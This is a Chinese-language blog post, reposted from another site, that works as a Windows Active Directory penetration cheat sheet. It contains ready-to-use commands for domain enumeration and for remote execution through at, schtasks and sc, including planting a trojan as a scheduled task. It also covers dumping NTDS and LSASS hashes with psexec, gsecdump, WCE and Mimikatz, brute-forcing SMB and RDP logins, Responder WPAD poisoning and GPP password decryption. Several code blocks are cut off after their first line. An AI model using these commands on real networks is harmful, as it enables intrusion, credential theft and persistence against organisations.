内网和域
内网
局域网(Local Area Network,LAN)是指在某一区域内由多台计算机互联成的计算机组。一般是方圆几千米以内。局域网可以实现文件管理、应用软件共享、打印机共享、工作组内的日程安排、电子邮件和传真通信服务等功能。局域网是封闭型的,可以由办公室内的两台计算机组成,也可以由一个公司内的上千台计算机组成。
域
域(Domain)是相对工作组(Workgroup)的概念,形象的说,域就像中央集权,由一台或数台域控制器(Domain Controller)管理域内的其他计算机;工作组就像各自为政,组内每一台计算机自己管理自己,他人无法干涉。
域是一个计算机群体的组合,是一个相对严格的组织,而域控制器则是这个域内的管理核心。
域控制器可以对域内计算机进行集中管理,比如在域控制器上可以定义所有用户不能更改桌面,或者所有用户的密码长度必须8位以上,而工作组环境的计算机则无法做到这些。
一般情况下,域控制器集成了DNS服务,可以解析域内的计算机名称(基于TCP/IP),解决了工作组环境不同网段计算机不能使用计算机名互访的问题。
- 域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后, 2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理。 – 域既是 Windows 网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元,在 Windows 网络操作系统中,域是安全边界。域管理员只能管理域的内部,除非其他的域显式地赋予他管理权限,他才能够访问或者管理其他的域;每个域都有自己的安全策略,以及它与其他域的安全信任关系。 – 域:域是一种管理边界,用于一组计算机共享共用的安全数据库,域实际上就是一组服务器和工作站的集合。
域和域之间可以通过VPN等设备进行连接,并建立从属和平行的域关系
域、工作组、家庭组
工作组:
- 所有的计算机都是对等的,没有计算机可以控制另一台计算机。每台计算机都具有一组用户帐户。若要登录到工作组中的任何计算机,您必须具有该计算机上的帐户。
- 通常情况下,计算机的数量不超过二十台。
- 工作组不受密码保护。
- 所有的计算机必须在同一本地网络或子网中。
家庭组:
- 家庭网络中的计算机必须属于某个工作组,但它们也可以属于某个家庭组。使用家庭组,可轻松与家庭网络中的其他人共享图片、音乐、视频、文档和打印机。
- 家庭组受密码保护,但在将计算机添加到家庭组时,只需要键入一次密码即可。
域:
- 有一台或多台计算机为服务器。网络管理员使用服务器控制域中所有计算机的安全和权限。这使得更容易进行更改,因为更改会自动应用到所有的计算机。域用户在每次访问域时必须提供密码或其他凭据。
- 如果具有域上的用户帐户,您就可以登录到域中的任何计算机,而无需具有该计算机上的帐户。 由于网络管理员经常要确保计算机之间的一致性,所以,您也许只能对计算机的设置进行有限制地更改。
- 一个域中可以有几千台计算机。
- 计算机可以位于不同的本地网络中。
域渗透
若直线攻击难以奏效,可以进行迂回进攻,从网络为突破,以受限用户权限开始,分析网络结构,制定对应的攻击方案,获取目标的域管理账户,逐步掌控整个网络。
命令
参见:内网渗透命令大全:https://www.t00ls.net/articles-39285.html
Net基本命令
命令 | 说明 |
---|---|
echo %PROCESSOR_ARCHITECTURE% |
查看系统版本位数 |
set |
查看系统环境变量 |
netstat -ano |
查看开放的端口 |
`netstat -an | find "3389"` |
ipconfig /all |
查询本机IP段,所在域等 |
net config Workstation |
当前计算机名,全名,用户名,系统版本,工作站域,登陆域 |
net user |
本机用户列表 |
net localhroup administrators |
本机管理员[通常含有域用户] |
net user /domain |
查询域用户 |
net user 用户名 /domain |
获取指定用户的账户信息 |
net user /domain b404 pass |
修改域内用户密码,需要管理员权限 |
net group /domain |
查询域里面的工作组 |
net group 组名 /domain |
查询域中的某工作组 |
net group "domain admins" /domain |
查询域管理员列表 |
net group "enterprise admins" /domain |
获得企业管理员列表 |
net group 组名 /del /domain |
删除域中的某组 |
net group 组名 组成员名 /del /domain |
删除域中的某组的组成员 |
net localgroup administrators /domain |
登录本机的域管理员 |
net group 组名 /add |
增加域中的组 |
net localgroup administrators workgroup\user001 /add |
域用户添加到本机 |
net group "domain controllers" /domain |
查看域控制器(如果有多台) |
net time /domain |
判断主域,主域服务器都做时间服务器 |
net config workstation |
当前登录域 |
net session |
查看当前会话 |
net use \\ip\ipc$ pawword /user:username@domain |
建立IPC会话[空连接-***] |
net view \\ip |
查询某IP共享 |
net use z: \\192.168.200.21\文件夹名 |
建立映射到本机Z盘 |
net share |
查看SMB指向的路径[即共享] |
at \\192.168.200.21:50 c:\windows\fuxk.exe |
在共享主机上执行 |
net view |
查询同一域内机器列表 |
net view /domain |
查询域列表 |
net view /domain:test |
查看test域中计算机列表 |
net view \\DC的机器名字 |
查看域控共享情况 |
nltest /domain_trusts |
获取域信任信息 |
net session |
查看当前会话 |
net start |
查看当前运行的服务 |
net time /domain |
查询主域服务器的时间 |
net time \\192.168.200.21 |
查看192.168.200.21机器的时间 |
echo %logonserver% |
查看登陆到这台服务器的计算机 |
net accounts |
查看本地密码策略 |
net accounts /domain |
查看域密码策略 |
nbtstat –A ip |
netbios 查询 |
netstat –an/ano/anb |
网络连接查询 |
netsh firewall show config |
查看防火墙策略 |
netsh firewall show state |
查看防火墙策略 |
route print |
路由表 |
tracert IP |
路由跟踪 |
arp -a |
列出本网段内所有活跃的IP地址 |
arp -s (ip + mac) |
绑定mac和IP |
arp -d (iP + mac) |
解绑IP和Mac |
tasklist /V |
查看进程[显示对应用户] |
tasklist /S ip /U domain\username /P /V |
查看远程计算机进程列表 |
psexec \\192.168.200.21 -u administrator -p b404pass -c gsecdump.exe -u |
从域服务器密码存储文件windows/ntds/ntds.dit导出hash值出来 |
gsecdump -a |
获取域登管理员登录过得hash值,这里gescdump为第三方导出AD域的hash值 |
tasklist /S IP地址 /U 域名\用户名 /P /V |
查看远程计算机进程 |
tasklist /svc |
查看进程 |
taskkill /im 进程名称(cmd.exe) |
结束进程 |
taskkill /pid[进程码] |
-t(结束该进程) -f(强制结束该进程以及所有子进程) |
ping 主机名 |
显示IP |
qprocess * |
类似tasklist |
qprocess /SERVER:IP |
远程查看计算机进程列表 |
nslookup –qt-MX Yahoo.com |
查看邮件服务器 |
whoami /all |
查询当前用户权限等 |
set |
查看系统环境变量 |
systeminfo |
查看系统信息 |
qwinsta |
查看登录情况 |
qwinsta /SERVER:IP |
查看远程登录情况 |
fsutil fsinfo drives |
查看所有盘符 |
gpupdate /force |
更新域策略 |
whoami |
查询账号所属权限 |
whoami /all |
查看sid号 |
wmic bios |
查看bios信息 |
wmic qfe |
查看补丁信息 |
wmic qfe get hotfixid |
查看补丁-Patch号,很实用 |
wmic qfe list full /format:htable > hotfixes.htm |
详细的补丁安装 |
wmic share get name,path |
查看SMB指向路径 |
wmic startup |
查看启动项 |
wmic service |
查看服务 |
wmic os |
查看OS信息 |
wmic service list brief |
查看进程服务 |
wmic process list brief |
查看进程 |
wmic startup list brief |
启动程序信息 |
wmic product list brief |
查看安装程序和版本信息(漏洞利用线索) |
wmic startup list full |
识别开机启动的程序 |
wmic process where(description="mysqld.exe")>>mysql.log |
获取软件安装路径 |
dir \\DC\SYSVOL /s /a > sysvol.txt |
列出sysvol日志记录 |
xcopy \\dc2.b404.com\sysvol.txt sysvol.txt /i /e /c |
拷贝sysvol.txt到本地 |
REG query HKCU /v "pwd" /s |
获取到存到注册表中的密码 |
dir /b/s config.* |
查看所在目录所有前缀为config的文件 |
findstr /si password *.xml *.ini *.txt |
查看后缀名文件中含有password关键字的文件 |
findstr /si login *.xml *.ini *.txt |
查看后缀名文件中含有login关键字的文件 |
copy con ftp.bat |
创建ftp.bat批处理,然后输入ifconfig等命令,按ctr+z退出,并创建成功 |
copy con test.vbs |
创建test.vbs脚本,输入脚本后,按ctr+z退出,并创建成功 |
dsquery的AD查询工具
命令 | 说明 |
---|---|
dsquery user domainroot -limit 65535 && net user /domain |
列出该域内所有用户名 |
`dsquery server -domain super.com | dsget server -dnsname -site` |
dsquery contact |
寻找目录中的联系人 |
dsquery subnet |
列出该域内网段划分 |
query user |
查询那些用户在线 |
dsquery group && net group /domain |
列出该域内分组 |
dsquery ou |
列出该域内组织单位 |
dsquery server && net time /domain |
列出该域内域控制器 |
dsquery site -o rdn |
搜索域中所有站点的名称 |
`dsquery group dc=super,dc=com | more` |
psloggedon.exe |
查询那台主机和用户登录到该主机上 |
netsess.exe //192.168.1.115 |
远程主机上无需管理员权限,查询到主机名和用户 |
reg query "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\TERMINAL SERVERCLIENT\DEFAULT" |
获取最近mstsc登录的记录 |
DOS常用命令
命令 | 说明 |
---|---|
mspaint | 画图工具 |
calc | 计算器 |
notepad | 记事本 |
taskmgr | 任务管理器 |
osk | 打开屏幕键盘 |
gpedit.msc | 组策略 |
services.msc | 本地服务 |
compmgmt.msc | 计算机管理 |
devmgmt.msc | 设备管理器 |
winver | 查看系统版本 |
magnify | 放大镜实用程序 |
eventvwr | 事件查看器 |
Regedit | 打开注册表 |
resmon | 资源监视器 |
WMIC BIOS get releasedate | 查看电脑生产日期 |
mstsc -f | 远程连接(可以全屏) |
长命令
一键获取WiFI密码:**
1 | for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan showprofiles') do @echo%j | findstr -i -v echo | netsh wlan show profiles %jkey=clear |
查看是否支持PowerShell:
1 | if defined PSModulePath (echo support powershell) else (echo not support powershell) |
添加任务计划:
1 | schtasks.exe /Create /RU"SYSTEM" /SC MINUTE /MO 45 /TN FIREWALL /TR "c:/muma.ex e" /ED 2017/12/31 |
nbtscan扫描整个网络:
1 | nbtscan -r 192.168.200.0/24 |
ping 扫描内网存活主机:
1 | for /l %i in (1,1,255) do @ping 192.168.200.%i -w 1 -n 1 | find /i"ttl" |
域机器对应的IP:
1 | FOR /F "eol=- tokens=1 delims=\ " %a IN('net view') DO @(echo name: %a, ip: & ping %a -w 1 -n 1 | find /i "ttl" & echo.) |
找主机名:
1 | for /l %i in (1,1,255) do @ping -a 192.168.200.%i -w 1 -n 1 | find /i "Pinging" |
找B段:
1 | for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Pinging" |
将
Pinging
改成Ping
就可以适用于Win7
远程命令执行
at(系统权限)
利用计划任务at
命令,常用的方法(系统权限):
1 | net time |
schtasks(用户权限和系统权限都可以)
1 | schtasks /create /tn asp_net /tr "c:\windows\system32\cmd.exe /c cmd" /sc once /st 00:00 /S ip /RU System /u user /p password |
sc
系统权限的sc用法
利用服务工具,指定用户权限启动
在192.130.16.22
上创建一个xxoox的服务,程序执行命令为cmd.exe /c start c:\programdata\a+.bat
1 | sc \\192.130.16.22 create xxoox binPath= "cmd.exe /c start c:\programdata\a+.bat" |
执行xxoox的服务,执行成功可能会提示错误1053,不宜作为启动项,一般用用户权限也是临时的:
1 | sc \\192.130.16.22 start xxoox |
指定用户权限启动的用法
在192.130.16.22
上指定administrator
账户创建一个adminsec
服务:
1 | sc \\192.130.16.22 create adminsec binpath = “c:\pass.exe” obj= “adminsec\administrator” passwrod= adminsec |
wmic
WMI 的全称是 Windows Management Instrumentation,它出现在所有的 Windows 操作系统中,由一组强大的工具集合组成,用于1. 管理本地或远程的 Windows 系统。当攻击者使用wmiexec来进行攻击时,Windows系统默认不会在日志中记录这些操作,这意味着可以做到攻击无日志,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。越来越多的APT事件中也出现了WMI攻击的影子,利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。(奇淫技巧可见wmi shell)
常见的WMI攻击工具:
PTH-WMIS (最早wmi攻击的工具,单条命令执行,无回显,需要pth-smbget配合读取结果)
impackets wmiexec(Linux跨window经常用)
wmiexec.vbs (国人制造 为了回显会写文件)
Invoke-WmiCommand&Invoke-PowerShellWmi
1 | #在远程系统上执行 bat 脚本 |
工具说明:
- 需要远程系统启动 Windows Management Instrumentation 服务,开放135端口
- 远程系统的本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
- wmic 会以管理员权限在远程系统上执行命令
- 防火墙开启将无法连接
- 如果报错 “Invalid Global Switch” ,用双引号把包含
-
的结点括起来即可正常执行。
wmiexec
WMI 可以远程执行命令,大牛使用VBS脚本调用WMI来模拟 psexec 的功能,于是乎 WMIEXEC 就诞生了。基本上psexec 能用的地方,这个脚本也能够使用。
常用命令:
1 | ###获取半交互式shell |
其它参数:
-wait5000
表示这个命令等待5s后再读取结果,用于运行“运行时间长”的命令。-persist
程序会在后台运行,不会有结果输出,而且会返回这个命令进程的 PID,方便结束进程,用于运行 nc 或者木马程序。
下面这段代码在脚本的一开始,是控制结果文件路径、文件名、以及默认代码执行时间的,可以自行更改。
1 | Const Path = "C:\" |
工具说明:
- 需要远程系统启动 Windows Management Instrumentation 服务,开放135端口
- 远程系统的本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
- wmicexec.vbs 会以管理员权限在远程系统上执行命令
- virustotal 显示 wmiexec.vbs 会被 Kaspersky、Symantec 和 ZoneAlarm 查杀。
impackets wmiexec
使用impackets wmiexec执行命令测试,执行命令可以回显。在Linux跨window渗透时候经常使用。
1 | #登陆远程机器 |
psexec
常用命令
1 | ###获取管理员用户权限的交互式 shell |
其它参数
1 | –accepteula 第一次运行会弹框,输入这个参数便不会弹框 |
工具说明
- 需要远程系统开启 ADMIN$ 共享
- 建立 ipc 连接后可以不指定用户名和密码
- 不能仅拷贝文件不执行,只需要拷贝时可以建立 ipc 连接后c opy
- 在启动psExec建立连接之后,远程系统上会被安装一个服务:PSEXESVC。安装服务会留下日志,而且psexec退出时有可能服务删除失败,所以不推荐使用 psexec。
PsRemoting
PowerShell远程命令执行基于WinRM。WinRM指的是Windows远程管理服务,它会监听HTTP(5985)、HTTPS(5986),不过此服务除了Windows Server 2012及R2默认启用外,其他默认都是禁用的。管理员为了方便对服务器的远程管理,也许将此端口开启,这种事就像内网弱口令一样,做渗透嘛,什么奇迹都有可能发生。
利用PowerShell渗透可以绕过杀软、绕过白名单防护设备,并且还可以得到返回的数据,简直是杀人越货神器。默认禁用PS。
1 | #先开启执行策略 |
定位
- 收集域以及域内用户信息
- 收集域内域控制器信息
- 收集域控上域用户登录日志信息
- 收集域内所有用户名以及全名、备注等信息
- 收集域内工作组信息
- 收集域管理员帐号信息
- 收集域内网段划分信息
- 收集域内组织单位信息
服务器(机器)定位
1 | 不管是做外网还是内网,信息收集都是很有必要的第一步,当我们控下一台机器的时候,内网是个什么结构?这台机器是一个什么角色?使用机器的人是一个什么角色?上面装的什么杀毒?机器是怎么上网的?机器是笔记本,还是台式机?等等等等。。。 |
上面我们已经得到了一些内网信息,现在我们就需要好好分析一下了.
1、分析出内部网络是怎么划分的.是按照部门划分的网络段,还是按照楼层,还是按照地区划分.
2、分析出内部网络机器名的命名规则.特别是个人机,这对选取有价值目标很重要.不过有些内网是采用的无规则命名法,这也是正常的.但是一般还是有规律的.
3、分析出内部网络重要人的电脑名.这些重要人物一般在对外网站上都会有一些介绍的.再根据机器命名规则,就可以大概分析得出这些机器.这里要注意,有些人有多个电脑哦.还有些人用的是笔记本的.
4、分析域结构,有些内部网络是多层域结构,而且还是多级域结构,这样,我们就需要先分析出,现在这电脑所在域是几级子域,这个子域域控以及根域域控是哪些,还有其他域的域控是哪些.一般域控命名都有DC字样.
文件定位
服务器定位总结出文件定位的大致思路:
- 定位人力资源主管个人机
- 定位人力资源相关文档存放位置
- 从人力资源文档中找相关人
- 定位相关人的机器
- 监视相关人工作时存放文档的位置
- 列出存放文档服务器的目录
文件定位需要注意的点:
- 产品名称
- 内部名称
- 项目负责人
- 项目团队
- 生产部(分公司,工厂,代工厂)
经验:
- FTP
- SMB
- DC\NETLOGON\
- 产品管理系统(仓库管理系统)
- 各种数据库
- 其他服务器(分公司,工厂,代工厂)
定位文件服务器请参考上一节定位服务器(机器),定位到文件服务器和某个人,对于文件定位来说应该会事半功倍。这里就不过多叙述了。
管理员定位
0x01工具:
psloggedon.exe:通过检验注册表里HKEY_USERS的key值来查询谁登陆过机器,同样也调用到了NetSessionEnum API。某些功能需要管理员权限
netsess.exe:调用NetSessionEnum API,并且在远程主机上无需管理员权限。
PVEFindADUser.exe:用于枚举域用户以及登陆过特定系统的用户,需要管理员权限
netview.exe:使用WinAPI枚举系统,利用NetSessionEnum来找寻登陆sessions,利用NetShareEnum来找寻共享 , 利用 NetWkstaUserEnum 来枚举登陆的用户。它也能查询共享入口和有价值用户,还能使用延迟和抖动。绝大部分功能不需要管理员权限。
hunter:hunter是一款利用 Windows API 调用来枚举跳板机上的用户登录信息的工具
Nmap的NSE脚本
:如果你有域账户或者本地账户,你可以使用Nmap的smb-enum-sessions.nse 引擎来获取远程机器的登录session,并且不需要管理员权限
smb-enum-domains.nse
对域控制器进行信息收集扫描,可以获取主机信息,用户,密码策略可以用的用户等smb-enum-users.nse
在进行域渗透的时候,有了域内某台主机的权限,但是权限有限,不能获取更多的域用户信息的时候,可以借助这个脚本对域控制器进行扫描smb-enum-shares.nse
遍历远程主机的共享目录smb-enum-processes.nse
通过smb对主机的系统进程进行遍历,通过这些信息,可以知道目标主机上运行软件信息,选择合适的漏洞或者规避防火墙以及杀毒软件。smb-enum-sessions.nse
通过smb获取域内主机的用户登录session,查看当前是否有用户登录,对于我们抓取用户hash以及避免同时登陆被用户发现。smb-os-discovery.nse
通过smb协议来收集目标主机的操作系统,计算机名,域名,全称域名,域林名称,NetBIOS机器名,NetBIOS域名,工作组,系统时间。
0x02 Active Directory:
通过AD信息来识别一些连接到服务器的用户:
- http://www.harmj0y.net/blog/redteaming/trusts-you-might-have-missed/
- http://www.sixdub.net/2014/11/offensive-event-parsing-bringing-home-trophies/
0x03PowerShell:
针对windows机器,可以考虑用wmi脚本和powershell脚本进行扫描,低频扫描可以很容易的绕过IDS的规则。PowerShell有很多方法Windows Api并且绕过白名单:
0x04 查找域管理进程:
进攻
1、内网WEB渗透.内网的WEB,一般情况下是比较容易搞下的,毕竟不像放在公共网络上.有那么大的风险,相对的,管理也就松散一些了.而且,内网的一些服务器是做测试用的,至于哪些服务器是做什么用的,可以通过判断机器名来分析,机器名的命名大多是有规律的.这跟国家风俗有一些习惯,但是也有公司采用无规则命令法,这就很蛋疼.
2、内网SQL.内网的SQL一般是特别有用的.因为一般域结构的内网,都会比较看重权限.那么一般WEB上都会有登陆验证,这些验证SQL就特别有用了,拿下来,对应人跟机器,后面,你懂的.
3、抓HASH,弱口令匹配内网机器。一般内网的机器弱口令还是存在的。分析一些内部的常用密码,然后再自己组合一些密码,再用工具去匹配,一般还是有收获的。以前有些HASH还破解不出来,还得依靠HASH注入这些技术,现在有了新东西mimikatz,可以抓取内存的密码,还是直接明文的。容易多了。
4、内网进攻常用命令整理:
1 | net use \\IP\ipc$ password /user:username@domain(IPC对方) |
取得合法身份前的攻击
认证
攻击Windows常攻击Windows的文件和打印共享服务,这项服务运行在SMB(服务器消息块)上,尝试远程共享加载:试着连接一个共享卷(比如IPC$或C$共享卷):
1 | net use \\192.168.200.21\IPC$ * \u:用户名 |
*表示手动输入密码
也可以使用FOR语句来爆破密码,将tokent.txt
的第一个字串赋值给%i
(密码),将第二个字串赋值给%j
(用户名)
1 | FOR /F "tokens=1,2*" %i in (token.txt) do net use \\192.168.200.21\IPC$ %i /u:%j |
也可以使用以下工具进行口令猜测:
用enum爆破:
1 | C:\Users\win2k8\Desktop>enum.exe -D -u Administrator -f credentials.txt 192.168.200.21 |
有时候也可以直接爆破远程桌面服务。
用TSGrinder爆破RDP:
1 | C:\Users\win2k8\Desktop\tsgrinder-2.03>echo Admin 1>a & tsgrinder.exe -w a -u Administrator -n 1 192.168.200.21 1>out |
该工具主要针对于XP和2003,当用在win7的时候,需要将注册表
HKEY_CURRENT_USER\Software\Microsoft\Windows\Windows Error Reporting\Dont Show UI
设为1.
kali下的rdesktop爆破:
1 | rdesktop -u Administrator -p token.txt 10.10.10.150 |
扫描
0x01 nbtscan: 使用nbtscan扫描:
1 | nbtstat -m 192.168.200.21 |
SHARING 表示开放来共享, DC 表示可能是域控,或者是辅助域控U=user猜测此计算机登陆名 IIS 表示运行来web80 EXCHANGE Microsoft Exchange服务 NOTES Lotus Notes服务
0x02:WinScanX:
WinScanX 需要登录账号能够获取目标很详细的内容。其中还有snmp获取,windows密码猜解(但是容易被杀,nishang中也实现出一个类似的信息获取/Gather/Get-Information.ps1)
端口
端口号 | 端口说明 | 攻击技巧 |
---|---|---|
21/22/69 | ftp / tftp:文件传输协议 | 爆破\嗅探\溢出\后门 |
22 | ssh:远程连接 | 爆破OpenSSH; 28个退格 |
23 | telnet:远程连接 | 爆破\嗅探 |
25 | smtp:邮件服务 | 邮件伪造 |
53 | DNS:域名解析系统 | DNS域名传输\ DNS劫持\ DNS缓存投毒\ DNS欺骗\利用DNS隧道技术刺透防火墙 |
67/68 | dhcp | 劫持\欺骗 |
110 | pop3 | 爆破 |
139 | samba | 爆破\未授权访问\远程代码执行 |
143 | imap | 爆破 |
161 | snmp | 爆破 |
389 | ldap | 注入攻击\未授权访问 |
512/513/514 | linux r | 直接使用rlogin |
873 | rsync | 未授权访问 |
1080 | socket | 爆破:进行内网渗透 |
1352 | lotus | 爆破:弱口令\信息泄漏:源代码 |
1433 | mssql | 爆破:使用系统用户登录\注入攻击 |
1521 | oracle | 爆破:TNS \注入攻击 |
2049 | nfs | 配置不当 |
2181 | zookeeper | 未授权访问 |
3306 | mysql | 爆破\拒绝服务\注入 |
3389 | rdp | 爆破\ Shift后门 |
4848 | glassfish | 爆破:控制台弱口令\认证绕过 |
5000 | sybase / DB2 | 爆破\注入 |
5432 | postgresql | 缓冲区溢出\注入攻击\爆破:弱口令 |
5632 | pcanywhere | 拒绝服务\代码执行 |
5900 | vnc | 爆破:弱口令\认证绕过 |
6379 | redis | 未授权访问\爆破:弱口令 |
7001 | weblogic | Java反序列化\控制台弱口令\控制台部署webshell |
80/443/8080 | web | 常见web攻击\控制台爆破\对应服务器版本漏洞 |
8069 | zabbix | 远程命令执行 |
9090 | websphere控制台 | 爆破:控制台弱口令\ Java反序列 |
9200/9300 | elasticsearch | 远程代码执行 |
11211 | memcacache | 未授权访问 |
27017 | mongodb | 爆破\未授权访问 |
凭据
没有登录凭据的时候,可以破解对方的WPAv2个人Wifi密码,或者从某台不受域管理的主机下手。
Responder
Responder可以在一无所知的情况下取得最初的登陆凭据,其能率先监听、响应LLMNR协议(本地链路多播名称解析协议)和NBT-NS协议,其也可以利用WPAD(Web Proxy Auto-Discovery)漏洞(也就是浏览器设置为自动检测的设置,受害者会从网络获取配置文件)
该情况,与受害人主机处于同一个网络里的攻击人员,能够回复受害主机发出的名称解析请求,并注入自己的PAC文件,代理所有WEB流量。这种攻击方式能强制浏览器用户对攻击人员的SMB服务器进行验证。若受害者在我们的SMB服务器上进行身份验证,就能够获取这个主机的NTLM算法的哈希响应值,而受害者没有任何察觉,若该用户进行过域验证,那么它就会使用缓存中的登陆凭据对服务器进行验证。
1 | python Responder.py -i 10.10.10.149 -I eth0 -b Off -r Off -w On |
收到WPAD请求的时候发送恶意响应。
组策略首选项
GPP的全名是组策略首选项,是为了满足管理活动目录的需要存在的,GPP的操作对象是组策略对象(GPO),在所有计算机上更新密码或者指定新的管理员,就会使用这个机制更新。GPP发布的账号信息全部存储在\\[Domain Controller]\SYSVOL\[Ddomain]\Policies
中。可以在该文件夹找到一个名为Groups.xml
的文件。若能找到该文件,就可以在Groups.xml
文件找到cpassword
的哈希值。然后使用gpprefdecrypt.py解密GPP中本地管理员账户的密码,或者使用msf中的post/windows/gather/credentials/gpp
获取本地管理员账号。
抓HASH
Get-PassHashes.ps1
脚本在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了。
1 | PS C:\Users\Tim\Desktop\nishang-master> Set-ExecutionPolicy remotesigned |
WCE
WCE能够列出Windows中的登陆会话、增加、修改、查询和删除相关凭据(LM/NT哈希值,Kerberos票据,明文密码)。
wce -l
列出已登陆的会话和NTLM凭据,wce -w
用于复制存储在认证摘要信息中的明文密码。只要有管理员权限就可以抓取密码,无需破解hash值。
Minikatz
Mimikatz可从LSASS中恢复明文密码。
Refer
- 内网渗透测试定位技术总结:http://www.mottoin.com/92978.html
- nmap加载nse脚本在内网渗透中的使用-上:http://www.mottoin.com/85401.html
- nmap加载nse脚本在内网渗透中的使用-下:http://www.mottoin.com/85413.html
- pentest_study:https://raw.githubusercontent.com/l3m0n/pentest_study/master/README.md
Similar Posts
转自: http://b404.xyz/2017/12/30/exploit-domain/#%E5%86%85%E7%BD%91%E5%92%8C%E5%9F%9F